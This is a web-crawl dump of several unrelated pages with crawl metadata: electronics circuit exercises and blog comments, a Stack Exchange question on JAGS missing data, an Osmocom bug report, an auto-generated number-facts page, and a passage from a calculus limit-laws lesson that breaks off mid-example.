"Given:\n\n1. In this active filter, the cutoff frequency (fc) is determined by R1, R2, C1, and C2.\n2. R1 and R2 must always be equal\n3. C1 and C2 must always be equal\n4. If R1 =R2 = 10K Ohm and if C1 = C2 = 0.016 uF then fc = 1KHz\n5. The cutoff frequency can be changed by adjusting either the resistors R1 and R2 or the capacitors C1 and C2.\n6. Decreasing the resistor values increases the cutoff frequency by the same proportion, e.g., if R1 =R2 = 5K Ohm and if C1 = C2 = 0.016 uF then fc = 2KHz\n7. Decreasing the capacitor values increases the cutoff frequency by the same proportion, e.g., if R1 =R2 = 10K Ohm and if C1 = C2 = 0.008 uF then fc = 2KHz\n\na) Keeping R1 = R2 = 10K Ohm, calculate the value for the capacitors to make fc = 2KHz\n\nb) Keeping R1 = R2 = 10K Ohm, what would be fc if C1 = C2 = 0.147 uF?\n\nc) Keeping C1 = C2 = 0.147 uF, what would be fc if R1 = R2 = 20K Ohm?\n\n### Exercise 62:",
null,
"This active filter is the same as exercise 61 above, but capacitors are selected by the selector switch, and the resistors are potentiometers. Ganged switches and potentiometers are used in order to maintain equal resistance and capacitance, as is required by this type of filter: Controls (e.g. switches or potentiometers) connected by dotted lines are “ganged”, that is, physically connected so that they are turned together.\n\nGiven:\n\n1. Sw1 and Sw2 are “ganged” so that C1 and C10 are selected together, C2 and C9, etc.\n2. R1 and R3 are “ganged” so that they turn to minimum resistance together, and to maximum resistance together.\n3. R1 = R3 = 10K Ohm. Note this is a potentiometer.\n4. R2 = R4 = 10K Ohm\n5. If the potentiometers R1 and R3 are turned all the way to the minimum value, R1+R2 = 10K Ohm and R3+R4 = 10K Ohm\n6. If the potentiometers R1 and R3 are turned all the way to the maximum value, R1+R2 = 20K Ohm and R3+R4 = 20K Ohm\n\na) If C4 = C7 = 0.016 uF, what is the cutoff frequency with the potentiometers turned all the way to the minimum value?\n\nb) If C1 = C2 = 0.147 uF, what is the cutoff frequency with the potentiometers turned all the way to the minimum value?\n\nc) If C1 = C2 = 0.147 uF, what is the cutoff frequency with the potentiometers turned all the way to the maximum value?\n\n### Exercise 63:\n\nAssume that you have an unlimited supply of batteries of the following voltages:\n\n• 1.2V\n• 1.5V\n• 2V\n\nDraw a schematic of how you would provide the following voltages (for example, to circuits requiring these voltages). In all cases assume the return path is a ground:\n\n1. A single circuit requiring +2V\n2. A single circuit requiring +2V and +3V\n3. Two circuits requiring +2V each\n4. Two circuits, one requiring +2V and one requiring +3V\n5. Show 3 ways of providing +6V\n6. A single circuit requiring +12V and -9V\n7. A single circuit requiring +7.2V and -4.5V\n8. A single circuit requiring +7.2V, +2V, +3V, and -15V\n9. A single circuit requiring +15V, -15V, +7.2V, -7.2V, and -1.5V\n\n### Exercise 64:",
null,
"Given:\n\n1. B1 = 17 V\n2. B2 = 9.2 V\n3. B3 = 12 V (pay attention to polarity)\n4. R1 = 6.8 K Ohm\n5. R2 = 12 K Ohm\n6. R3 = 5.6 K Ohm\n7. R4 = 4.7 K Ohm\n8. R5 = 3.3 K Ohm\n\nUsing superposition, calculate the voltage drop on each resistor and indicate the polarity\n\n### Exercise 65:",
null,
"Given:\n\n• V1 = 15V\n• R1 = 10K Ohm\n• R2 = 10K Ohm\n\nCalculate:\n\n1. Calculate the equivalent resistance of R1 and R2\n2. Calculate the current flowing through this equivalent resistance\n3. Is this current the same current that is flowing through the battery? Why or why not?\n4. Is it the same as the current flowing in R1 and R2? Why or why not?\n\n### Exercise 66",
null,
"Given:\n\n1. V1 = 15V\n2. R1 = 10K Ohm\n3. R2 = 20K Ohm\n\nCalculate:\n\n1. Calculate the equivalent resistance of R1 and R2\n2. Calculate the current flowing through this equivalent resistance\n3. Is this current the same current that is flowing through the battery? Why or why not?\n4. Is it the same as the current flowing in R1 and R2? Why or why not?\n\n### Exercise 67:",
null,
"Given:\n\n1. Vbattery = 9V\n2. R1 = 980 Ohms\n3. R2 = 1.2K Ohms\n4. R3 = 560 Ohms\n\nCalculate:\n\n1. Calculate the equivalent resistance of R1, R2, and R3\n2. Calculate the current flowing through this equivalent resistance\n3. Is this current the same current that is flowing through the battery? Why or why not?\n4. Is it the same as the current flowing in R1, R2, and R3? Why or why not?\n\n### Exercise 68:",
null,
"Given:\n\n1. Vbattery = 9V\n2. R1 = 980 Ohms\n3. R2 = 1.2K Ohms\n4. R3 = 560 Ohms\n\nQuestions:\n\n1. What is the voltage on each resistor?\n2. Knowing the voltage on each resistor, calculate the current through each resistor\n3. Calculate the sum of the three resistor currents\n4. Calculate the equivalent resistance of the 3 resistor\n\n### Exercise 69",
null,
"Questions:\n\n1. Calculate the equivalent resistance of R2 and R3\n2. Calculate the equivalent resistance of R1, R2, and R3\n\n### Exercise 70\n\n1. Vbattery = 9V\n2. R1 = 980 Ohms\n3. R2 = 1.2K Ohms\n4. R3 = 560 Ohms\n\nQuestions:\n\n1. Calculate the equivalent resistance of R2 and R3\n2. Calculate the equivalent resistance of R1, R2, and R3\n3. Calculate the current flowing into this equivalent resistance\n\n### Exercise 71",
null,
"Given:\n\n1. S1 is a current supply of 2 A\n2. R1 = 10 Ohm\n3. R2 = 10 Ohm\n4. S2 is a 10 V battery\n\nCalculate:\n\n1. What is the voltage drop on R1?\n2. What is the voltage drop on R2?\n\n### Exercise 72",
null,
"Given:\n\n1. S1 is a current supply of 2 A\n2. R1 = 1 Ohm\n3. R2 = 1 Ohm\n4. R3 = 1 Ohm\n5. S2 is a 2 V battery\n\nCalculate:\n\n1. What is the voltage drop on R1?\n2. What is the voltage drop on R2?\n3. What is the voltage drop on R3?\n\n### Exercise 73",
null,
"(a)\nGiven:\nR1 = 10 Ohms\nV1 = 9 V\nWhat is the current?\n\n(b)\nGiven:\nR1 = 5 Ohms\nCurrent = 0.01 Amps (which is 10 milli Amps or 10 mA)\nWhat is the voltage V1?\n\n(c)\nGiven:\nV1 = 25 V\nCurrent = 100 mA\nWhat is the value of R1?\n\n(d)\nGiven:\nV1 = 9.6 V\nR1 = 10 Kilo Ohm or 10K Ohm\nWhat is the value of the current?\n\nWhat is the current?\n\n### Exercise 74",
null,
"(a)\nGiven:\nR = 5K Ohms\nC = .2 uF\nf = 160 Hz\nVin = 10V\n\nWhat is Xc?\n\nWhat is Vout?\n\n(b)\nGiven:\nR = 5K Ohms\nC = .2 uF\nf = 1.6 Hz\nVin = 10V\n\nWhat is Xc?\n\nWhat is Vout?\n\n(c)\nGiven:\nR = 5K Ohms\nC = .2 uF\nf = 1.06K Hz\nVin = 10V\n\nWhat is Xc?\n\nWhat is Vout?\n\n### Exercise 75\n\nDesign a low pass filter with a cutoff frequency of 100 Hz. Provide the schematic and select a suitable resistor and capacitor. The resistor should be at least 980 Ohms.\n\n### Exercise 76\n\nUsing a 0.0047 uF capacitor, select a resistor for a high pass filter with a cutoff frequency of 16 K Hz. Provide the schematic and select a suitable resistor.\n\n### Exercise 77",
null,
"### Part 1:\n\nGiven:\n\nA 12V battery is to be used to power a 9V electronic device. Using the voltage divider equation and the information below, calculate R2 so as to deliver the desired 9V:\n\nVb1 = 12V\nR1 = 3 K Ohm\nVout = 9V\n\n### Part 2:",
null,
"Given:\n\nAn electronic device is attached to the voltage divider in part 1. Since the electronic device is essentially a resistor, attaching it at Vout effectively places a resistor (Rint, the internal resistance of the electronic device) in parallel, with R2.\n\nIf Rint = 9 K Ohm, what is Vout now?\n\n### Part 3:\n\nGiven the situation in part 2, change the value of R1 to restore Vout to 9V.\n\nWhat should the new value of R1 be in order for Vout to return to 9V?\n\n### Part 4:\n\nWhat is the power (Wattage) dissipated in R1 and R2 now?\n\n### Exercise 78",
null,
"### Part 1:\n\nGiven:\n\nA 12V battery is to be used to power a 9V electronic device. Using the voltage divider equation and the information below, calculate R2 so as to deliver the desired 9V:\n\nVb1 = 12V\nR1 = 30 Ohm\nVout = 9V\n\n### Part 2:",
null,
"Given:\n\nAn electronic device is attached to the voltage divider in part 1. Since the electronic device is essentially a resistor, attaching it at Vout effectively places a resistor (Rint, the internal resistance of the electronic device) in parallel, with R2.\n\nIf Rint = 9 K Ohm, what is Vout now?\n\n### Part 3:\n\nWhat is the power (Wattage) dissipated in R1 and R2 now?\n\n### Exercise 79\n\nDesign a voltage divider for a vacuum tube amplifier. Assume that you start with a 400 V battery. You need to generate 6V, 220V, 330V, and 400V.\n\nPart 1: Select resistors to generate these voltages and draw the schematic\n\nPart 2: Calculate the power dissipated in each resistor\n\n### Exercise 80",
null,
"Given:\n\nV2 = 12V (the voltage on resistor R2)\n\nWhat is Vb, V1, and V3?\n\n### Exercise 81",
null,
"Given:\n\nI1 = 0.6mA (the current through resistor R1)\nI2 = 1.2mA (the current through resistor R2)\nR2 = 10K Ohm\nR3 = 15K Ohm\n\n1) Calculate V2\n\n2) What is Vb, V1, and V3?\n\n3) Calculate I3\n\n4) Calculate R1\n\n### Exercise 82",
null,
"Given:\n\nI2 = 125mA (the current though resistor R2)\n\nWhat is I1 and I3?\n\n### Exercise 83",
null,
"Given:\n\nV1 = 4V (the voltage on resistor R1)\nV2 = 3V (the voltage on resistor R2)\nR2 = 10K Ohm\nR3 = 15K Ohm\n\n1) Calculate I2\n\n2) What is I1 and I3?\n\n3) Calculate R1\n\n4) Calculate V3\n\n5) Calculate Vb\n\n### Exercise 84",
null,
"Given:\n\nI3 = 2mA (the current through resistor R3)\nR1 = 4.7K Ohm\nR2 = 10K Ohm\nR3 = 15K Ohm\n\n1) Calculate V3\n\n2) What is V2?\n\n3) Calculate I2\n\n4) Calculate I1\n\n5) Calculate V1\n\n6) Calculate Vb\n\n### Exercise 85",
null,
"Given:\n\nI2 = 0.5mA\nI5 = 0.2mA\nR1 = 4.7K Ohm\nR2 = 10K Ohm\nR3 = 15K Ohm\nR4 = 6.8K Ohm\nR5 = 2200 Ohm\nR7 = 10K Ohm\n\n1. Calculate V2\n2. What is V3?\n3. Calculate I3\n4. Calculate I1\n5. Calculate V1\n6. What is I4?\n7. Calculate V4\n8. Calculate V5\n9. What is I7?\n10. Calculate V7\n11. What is V6?\n12. Calculate I6\n13. Calculate R6\n14. Calculate the battery voltage Vb\n\n### Exercise 86",
null,
"Given:\n\nI4 = 2 mA\nI6 = 0.5 mA\nR1 = 1 K Ohm\nR2 = 3 K Ohm\nR3 = 3 K Ohm\nR4 = 1 K Ohm\nR5 = 5 K Ohm\nR6 = 15 K Ohm\nR7 = 2 K Ohm\n\n1. What is the voltage drop on each resistor?\n2. What is the voltage of the battery?\n\n### Exercise 87",
null,
"Given:\n\nVb = 12V\nR1 = 10 K Ohm\nR2 = 10 K Ohm\n\n1. What is the voltage drop on R1 and R2?\n2. Explain how you came to this conclusion\n\n### Exercise 88",
null,
"Given:\n\nVb = 12V\nR1 = 10 K Ohm\nR2 = 10 K Ohm\nR3 = 10 K Ohm\n\n1. What is the voltage drop on R1, R2, and R3?\n2. Explain how you came to this conclusion\n\n### Exercise 89",
null,
"Given:\n\nV5 = 2 V\nR1 = 3 K Ohm\nR2 = 10 K Ohm\nR3 = 20 K Ohm\nR4 = 10 K Ohm\nR5 = 5 K Ohm\n\n1. What is the voltage drop on each resistor?\n2. What is the voltage of the battery?\n\n### 6 Responses to “Basic Electronic Exercises”\n\n1.",
null,
"BIll Nye Says:\n\nGees, they started kinda easy then they got “kinda hard”. 🙂\n\n2.",
null,
"holahola Says:\n\n^says the science guy\n\n3.",
null,
"Charles Says:\n\nWhere are the answers for these exercises? I am a beginner, and like to learn the basic of electronic. Where can I learn online?Thanks\n\n•",
null,
"michaelshiloh Says:\n\nHi Charles,\n\nThanks for your interest. I’m afraid I have not yet had time to put answers on the page. I hope to, one day…\n\nA great resource for learning, as well as exercises with answers is All About Circuits.\n\nYou could also try googling with keywords “electronics” and “tutorials”. There are many.\n\n•",
null,
"Nader Says:\n\nPerfect. but Where is the answer?\n\n•",
null,
"michaelshiloh Says:\n\nI don’t provide answers. This is meant as a pool of questions."
]
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https://stats.stackexchange.com/questions/38227/jags-missing-data-error/38231 | [
"# jags missing data error\n\nI am estimating a probit in jags on a time series cross sectional data set (country years) with 5 covariates, 4 of which are lagged, so the first observation for each country will be missing on those 4 variables. There is some scattered missingness elsewhere in the data, but nothing too bad. All of the variables are of numeric type, and missing values are coded as 'NA'. The model works fine when I omit all missing values, but when I don't I get the error\n\nCompiling model graph\nResolving undeclared variables\nAllocating nodes\nDeleting model\nError in jags.model(\"model.bug\", data.jags, n.chains = 4, n.adapt = 1000) :\nRUNTIME ERROR:\nCompilation error on line 4.\nUnable to resolve node Xbeta\nThis may be due to an undefined ancestor node or a directed cycle in the graph\n\n\nHere is my data loading code\n\ndata.all <- read.csv(\"http://dl.dropbox.com/u/1253073/blowback-all.csv\")\n\ndata.jags <- list('onset.b.lag' = data.all$onset.b.lag, 'ongoing' = data.all$ongoing,\n'peace' = data.all$peace, 'ln.gdppc.lag' = data.all$ln.gdppc.lag,\n'all.lag' = data.all$all.lag, 'onset' = data.all$onset,\n'n' = nrow(data.all))\n\n\nrjags call:\n\nmod.all <- jags.model('model.bug', data.jags, n.chains = 4, n.adapt = 1000)\n\n\nHere is my model code:\n\nmodel{\n\nfor (i in 1:n) {\nprobit(p[i]) <- Xbeta[i]\nonset[i] ~ dbern(p[i])\nXbeta[i] <- b.0 +\nb.onset.b.lag * onset.b.lag[i] +\nb.peace * peace[i] +\nb.ln.gdppc.lag * ln.gdppc.lag[i] +\nb.ongoing * ongoing[i] +\nb.all.lag * all.lag[i]\n}\n\nb.0 ~ dnorm(0, .0001)\nb.peace ~ dnorm(0, .0001)\nb.onset.b.lag ~ dnorm(0, .0001)\nb.ln.gdppc.lag ~ dnorm(0, .0001)\nb.ongoing ~ dnorm(0, .0001)\nb.all.lag ~ dnorm(0, .0001)\n\n\n}\n\nMy understanding is that when jags encounters an index where a variable is coded NA it takes a draw from the posterior. Any hints would be appreciated.\n\n## 2 Answers\n\nMy understanding is that if the outcome is NA then it will fill it in from the posterior predictive. NA in the predictors is not allowed, and must be imputed.\n\n• +1. How do you impute missing data on predictors in JAGS while accounting for the uncertainty in the imputed values? (i.e. much like multiple imputation does vs. single imputation) – Patrick Coulombe Mar 24 '14 at 17:52\n• @PatrickCoulombe I have seen strategies that treat each missing datum as an unknown (same treatment as e.g. a regression parameter). The design matrix is then reconstructed at each iteration. Thus, the uncertainty in the imputed value carries forward. – Eric Brown May 16 '15 at 10:00\n\nIt is actually possible to have missing values in the predictors, although you need to put a prior distribution on any missing values (or all of the values, if this is easier). So if you have some missing values in peace[i] then you need an additional line in the code as follows:\n\n peace[i] ~ dnorm(0, 10^-6) # Or whatever would be an appropriate prior\n\n\nMore informative priors would obviously be preferable - if you have very diffuse priors for all missing predictors, then these predictors are effectively contributing nothing to the posterior (except possibly convergence problems).\n\nNote that JAGS/BUGS makes no real distinction between data and parameters, so the missing data (and/or predictor) values are in this case treated as parameters to be estimated. You could put hyper priors on these as well, such as estimating the mean and variance of the distribution of peace, from which missing values will be drawn.\n\n• Just noticed the date and this is 2 years old, sorry! I will leave the answer anyway in case it is useful to someone else. – Matt Denwood Apr 19 '15 at 8:37"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.5721218,"math_prob":0.92270565,"size":1769,"snap":"2019-35-2019-39","text_gpt3_token_len":579,"char_repetition_ratio":0.12691218,"word_repetition_ratio":0.02247191,"special_character_ratio":0.31430188,"punctuation_ratio":0.23556583,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9798246,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-08-23T10:11:10Z\",\"WARC-Record-ID\":\"<urn:uuid:b2df3bea-0641-4e29-8429-02f2d7837895>\",\"Content-Length\":\"140807\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:672497fb-2a35-4313-b183-7f71dddc5f11>\",\"WARC-Concurrent-To\":\"<urn:uuid:9c2cc199-3636-4c26-8d7f-c4fc80c64ee8>\",\"WARC-IP-Address\":\"151.101.1.69\",\"WARC-Target-URI\":\"https://stats.stackexchange.com/questions/38227/jags-missing-data-error/38231\",\"WARC-Payload-Digest\":\"sha1:PKI23HLI5QPF4IRIN4AKUQG5KW5LKPBS\",\"WARC-Block-Digest\":\"sha1:RDHYCVBKZTSOMEXE7ICZYM7ALEZO7IHY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-35/CC-MAIN-2019-35_segments_1566027318243.40_warc_CC-MAIN-20190823083811-20190823105811-00339.warc.gz\"}"} |
http://osmocom.org/issues/1768 | [
"## Bug #1768\n\n### VTY show llc displays State TLLI Unassigned permanently\n\nStatus:\nStalled\nPriority:\nLow\nAssignee:\n-\nCategory:\n-\nTarget version:\n-\nStart date:\n07/07/2016\nDue date:\n% Done:\n\n0%\n\nSpec Reference:\n\nDescription\n\nExpecting at least some assigned TLLI states in in SAPI list on globally Assigned TLLI state.\n\n```TLLI e625e4fb (Old TLLI ffffffff) BVCI=2 NSEI=101 Age=0: State TLLI Assigned\nSAPI 1 State TLLI Unassigned (1) VUsend=4, VUrecv=5 Vsent=0 Vack=0 Vrecv=0, RetransCtr=0\nT200=5, N200=3, N201-U=400, N201-I=0, mD=0, mU=0, kD=0, kU=0\nSAPI 2 State TLLI Unassigned (1) VUsend=0, VUrecv=0 Vsent=0 Vack=0 Vrecv=0, RetransCtr=0\nT200=5, N200=3, N201-U=270, N201-I=0, mD=0, mU=0, kD=0, kU=0\nSAPI 3 State TLLI Unassigned (1) VUsend=91, VUrecv=64 Vsent=0 Vack=0 Vrecv=0, RetransCtr=0\nT200=5, N200=3, N201-U=500, N201-I=1503, mD=1520, mU=1520, kD=16, kU=16\nSAPI 5 State TLLI Unassigned (1) VUsend=0, VUrecv=0 Vsent=0 Vack=0 Vrecv=0, RetransCtr=0\nT200=10, N200=3, N201-U=500, N201-I=1503, mD=760, mU=760, kD=8, kU=8\nSAPI 7 State TLLI Unassigned (1) VUsend=0, VUrecv=0 Vsent=0 Vack=0 Vrecv=0, RetransCtr=0\nT200=20, N200=3, N201-U=270, N201-I=0, mD=0, mU=0, kD=0, kU=0\nSAPI 8 State TLLI Unassigned (1) VUsend=0, VUrecv=0 Vsent=0 Vack=0 Vrecv=0, RetransCtr=0\nT200=20, N200=3, N201-U=270, N201-I=0, mD=0, mU=0, kD=0, kU=0\nSAPI 9 State TLLI Unassigned (1) VUsend=0, VUrecv=0 Vsent=0 Vack=0 Vrecv=0, RetransCtr=0\nT200=20, N200=3, N201-U=500, N201-I=1503, mD=380, mU=380, kD=4, kU=4\nSAPI 11 State TLLI Unassigned (1) VUsend=0, VUrecv=0 Vsent=0 Vack=0 Vrecv=0, RetransCtr=0\nT200=40, N200=3, N201-U=500, N201-I=1503, mD=190, mU=190, kD=2, kU=2\n```\n\nAlready checked if the get_value_string(gprs_llc_state_strs, lle->state) returns the right string. Seems to work, numerical state is always 1 as well.\n\n### History\n\n#### #1 Updated by laforgeabout 4 years ago\n\n• Assignee set to dexter\n\n#### #2 Updated by dexteralmost 4 years ago\n\nInvestigated a little bit further on this. By our implementation, lle->state in fact never changes.\n\ngprs_llc_hdr_rx() in gprs_llc.c is responsible to handle the state changes. However, all cases where lle->state seem to occur never. Holger told me that in case GPRS_LLC_UI lle->state should be changed but we omit that. This is a bit of spec violation but according to Holger not really a problem.\n\n#### #3 Updated by dexteralmost 4 years ago\n\n• Status changed from New to Stalled\n\n#### #4 Updated by laforgealmost 4 years ago\n\nOn Fri, Oct 07, 2016 at 09:39:19AM +0000, dexter [REDMINE] wrote:\n\nInvestigated a little bit further on this. By our implementation, lle->state in fact never changes.\n\ngprs_llc_hdr_rx() in gprs_llc.c is responsible to handle the state\nchanges. However, all cases where lle->state seem to occur never.\nHolger told me that in case GPRS_LLC_UI lle->state should be changed\nbut we omit that. This is a bit of spec violation but according to\nHolger not really a problem.\n\nStill, it seems to be confusing to print a state that is not correct.\nSo if you already analyzed the problem and the code to this point, how\nmuch time would you think is required to fix it?\n--\n- Harald Welte <> http://laforge.gnumonks.org/ ============================================================================\n\"Privacy in residential applications is a desirable marketing option.\"\n(ETSI EN 300 175-7 Ch. A6)\n\n#### #5 Updated by laforgeover 1 year ago\n\n• Assignee changed from dexter to lynxis\n\n#### #6 Updated by laforge9 months ago\n\n• Assignee deleted (lynxis)\n\nAlso available in: Atom PDF\n\nAdd picture from clipboard (Maximum size: 48.8 MB)"
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.6866319,"math_prob":0.7415758,"size":3249,"snap":"2020-34-2020-40","text_gpt3_token_len":1198,"char_repetition_ratio":0.15254237,"word_repetition_ratio":0.4092827,"special_character_ratio":0.3714989,"punctuation_ratio":0.15279673,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97741276,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-20T02:25:15Z\",\"WARC-Record-ID\":\"<urn:uuid:1b72f02d-38e4-4936-96e5-a016ef1c64a6>\",\"Content-Length\":\"21719\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f41d18ff-8c71-4101-9f7a-d2e56dbe990d>\",\"WARC-Concurrent-To\":\"<urn:uuid:94d1a817-7295-4009-9557-1b22d7b8e2d0>\",\"WARC-IP-Address\":\"78.46.96.155\",\"WARC-Target-URI\":\"http://osmocom.org/issues/1768\",\"WARC-Payload-Digest\":\"sha1:DY7D2HYLQV3GPJ5HF7JXPINDQUZCARKU\",\"WARC-Block-Digest\":\"sha1:YYCZYB7PHPMNDBSO4S5A3AWLVPUKS47W\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600400193087.0_warc_CC-MAIN-20200920000137-20200920030137-00366.warc.gz\"}"} |
https://metanumbers.com/255072400000000 | [
"## 255072400000000\n\n255,072,400,000,000 (two hundred fifty-five trillion seventy-two billion four hundred million) is an even fifteen-digits composite number following 255072399999999 and preceding 255072400000001. In scientific notation, it is written as 2.550724 × 1014. The sum of its digits is 25. It has a total of 21 prime factors and 792 positive divisors. There are 89,510,400,000,000 positive integers (up to 255072400000000) that are relatively prime to 255072400000000.\n\n## Basic properties\n\n• Is Prime? No\n• Number parity Even\n• Number length 15\n• Sum of Digits 25\n• Digital Root 7\n\n## Name\n\nShort name 255 trillion 72 billion 400 million two hundred fifty-five trillion seventy-two billion four hundred million\n\n## Notation\n\nScientific notation 2.550724 × 1014 255.0724 × 1012\n\n## Prime Factorization of 255072400000000\n\nPrime Factorization 210 × 58 × 11 × 29 × 1999\n\nComposite number\nDistinct Factors Total Factors Radical ω(n) 5 Total number of distinct prime factors Ω(n) 21 Total number of prime factors rad(n) 6376810 Product of the distinct prime numbers λ(n) -1 Returns the parity of Ω(n), such that λ(n) = (-1)Ω(n) μ(n) 0 Returns: 1, if n has an even number of prime factors (and is square free) −1, if n has an odd number of prime factors (and is square free) 0, if n has a squared prime factor Λ(n) 0 Returns log(p) if n is a power pk of any prime p (for any k >= 1), else returns 0\n\nThe prime factorization of 255,072,400,000,000 is 210 × 58 × 11 × 29 × 1999. Since it has a total of 21 prime factors, 255,072,400,000,000 is a composite number.\n\n## Divisors of 255072400000000\n\n792 divisors\n\n Even divisors 720 72 36 36\nTotal Divisors Sum of Divisors Aliquot Sum τ(n) 792 Total number of the positive divisors of n σ(n) 7.19648e+14 Sum of all the positive divisors of n s(n) 4.64576e+14 Sum of the proper positive divisors of n A(n) 9.08647e+11 Returns the sum of divisors (σ(n)) divided by the total number of divisors (τ(n)) G(n) 1.5971e+07 Returns the nth root of the product of n divisors H(n) 280.717 Returns the total number of divisors (τ(n)) divided by the sum of the reciprocal of each divisors\n\nThe number 255,072,400,000,000 can be divided by 792 positive divisors (out of which 720 are even, and 72 are odd). The sum of these divisors (counting 255,072,400,000,000) is 719,648,069,040,000, the average is 9,086,465,518,18.,181.\n\n## Other Arithmetic Functions (n = 255072400000000)\n\n1 φ(n) n\nEuler Totient Carmichael Lambda Prime Pi φ(n) 89510400000000 Total number of positive integers not greater than n that are coprime to n λ(n) 279720000000 Smallest positive number such that aλ(n) ≡ 1 (mod n) for all a coprime to n π(n) ≈ 7934646095417 Total number of primes less than or equal to n r2(n) 0 The number of ways n can be represented as the sum of 2 squares\n\nThere are 89,510,400,000,000 positive integers (less than 255,072,400,000,000) that are coprime with 255,072,400,000,000. And there are approximately 7,934,646,095,417 prime numbers less than or equal to 255,072,400,000,000.\n\n## Divisibility of 255072400000000\n\n m n mod m 2 3 4 5 6 7 8 9 0 1 0 0 4 2 0 7\n\nThe number 255,072,400,000,000 is divisible by 2, 4, 5 and 8.\n\n• Abundant\n\n• Polite\n• Practical\n\n• Frugal\n\n## Base conversion (255072400000000)\n\nBase System Value\n2 Binary 111001111111110010101011110010110100010000000000\n3 Ternary 1020110010200110010021112001221\n4 Quaternary 321333302223302310100000\n5 Quinary 231413101233400000000\n6 Senary 2302254350510404424\n8 Octal 7177625362642000\n10 Decimal 255072400000000\n12 Duodecimal 247368a6800714\n16 Hexadecimal e7fcabcb4400\n20 Vigesimal 14i3f6500000\n36 Base36 2ieyn56osg\n\n## Basic calculations (n = 255072400000000)\n\n### Multiplication\n\nn×i\n n×2 510144800000000 765217200000000 1020289600000000 1275362000000000\n\n### Division\n\nni\n n⁄2 1.27536e+14 8.50241e+13 6.37681e+13 5.10145e+13\n\n### Exponentiation\n\nni\n n2 65061929241760000000000000000 16595502440325903424000000000000000000000000 4233054636659784968527897600000000000000000000000000000000 1079735405503939335406335307786240000000000000000000000000000000000000000\n\n### Nth Root\n\ni√n\n 2√n 1.5971e+07 63419.3 3996.37 760.909\n\n## 255072400000000 as geometric shapes\n\n### Circle\n\nRadius = n\n Diameter 5.10145e+14 1.60267e+15 2.04398e+29\n\n### Sphere\n\nRadius = n\n Volume 6.95151e+43 8.17592e+29 1.60267e+15\n\n### Square\n\nLength = n\n Perimeter 1.02029e+15 6.50619e+28 3.60727e+14\n\n### Cube\n\nLength = n\n Surface area 3.90372e+29 1.65955e+43 4.41798e+14\n\n### Equilateral Triangle\n\nLength = n\n Perimeter 7.65217e+14 2.81726e+28 2.20899e+14\n\n### Triangular Pyramid\n\nLength = n\n Surface area 1.12691e+29 1.9558e+42 2.08266e+14\n\n## Cryptographic Hash Functions\n\nmd5 4d71e956008f7a1c124e6bb1a7cad464 5027dbb18acd51bfbc87e5175bbf4b31cadd0f2e 9f8a3754d79112f5dd93b8e9bb48e4e86edcd6c8f26ade7f657e65cda2f5de83 80f9012a9bb6c456df0087a56077e0a723cd023785db00ac9dec9c0c750beb3bfbb112a7f707d465eb2d72cc9b18bcaa2ea9e0e461e6a12785b681e39252eca7 2a96531b47535c9a30e2e5ca4f63bdd0f28aa9da"
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.6162881,"math_prob":0.9921528,"size":5464,"snap":"2021-21-2021-25","text_gpt3_token_len":1975,"char_repetition_ratio":0.16703297,"word_repetition_ratio":0.04479769,"special_character_ratio":0.53001463,"punctuation_ratio":0.120976694,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9943007,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-06-23T02:31:54Z\",\"WARC-Record-ID\":\"<urn:uuid:db420093-fa3d-4670-ad95-786b1b15f3b3>\",\"Content-Length\":\"63665\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:08e67207-7799-4a44-a132-bf25117805e4>\",\"WARC-Concurrent-To\":\"<urn:uuid:c6155865-c6f9-4cd7-9953-e7b29ad01255>\",\"WARC-IP-Address\":\"46.105.53.190\",\"WARC-Target-URI\":\"https://metanumbers.com/255072400000000\",\"WARC-Payload-Digest\":\"sha1:M2V2NAISPSVE6VYCQJVUYEFCMNWQTZ5J\",\"WARC-Block-Digest\":\"sha1:IE27TL6QTQZMT5TIK5MFCQ4N2UZXIGDO\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-25/CC-MAIN-2021-25_segments_1623488528979.69_warc_CC-MAIN-20210623011557-20210623041557-00180.warc.gz\"}"} |
https://www.studypug.com/business-calculus/limit-laws | [
"# Limit laws\n\n### Limit laws\n\nBasic Concepts: Function notation\n\n#### Lessons\n\nHere are some properties of limits:\n\n1) $\\lim_{x \\to a} x = a$\n2) $\\lim_{x \\to a} c = c$\n3) $\\lim_{x \\to a} [cf(x)] = c\\lim_{x \\to a}f(x)$\n4) $\\lim_{x \\to a} [f(x) \\pm g(x)] = \\lim_{x \\to a}f(x) \\pm \\lim_{x \\to a}g(x)$\n5) $\\lim_{x \\to a} [f(x) g(x)] = \\lim_{x \\to a}f(x) \\lim_{x \\to a}g(x)$\n6) $\\lim_{x \\to a} \\frac{f(x)}{g(x)} = \\frac{\\lim_{x \\to a}f(x)}{\\lim_{x \\to a}g(x)}$, only if $\\lim_{x \\to a}g(x) \\neq0$\n7) $\\lim_{x \\to a} [f(x)]^n=[\\lim_{x \\to a}f(x)]^n$\n\nWhere c is a constant, $\\lim_{x \\to a} f(x)$ and $\\lim_{x \\to a} g(x)$ exist.\n\nHere is a fact that may be useful to you.\nIf $P(x)$ is a polynomial, then\n$\\lim_{x \\to a} P(x)=P(a)$\n• Introduction\nLimit Laws Overview:\n7 Properties of Limit Laws\n\n• 1.\nEvaluating Limits of Functions\nEvaluate the following limits using the property of limits:\na)\n$\\lim_{x \\to 2} 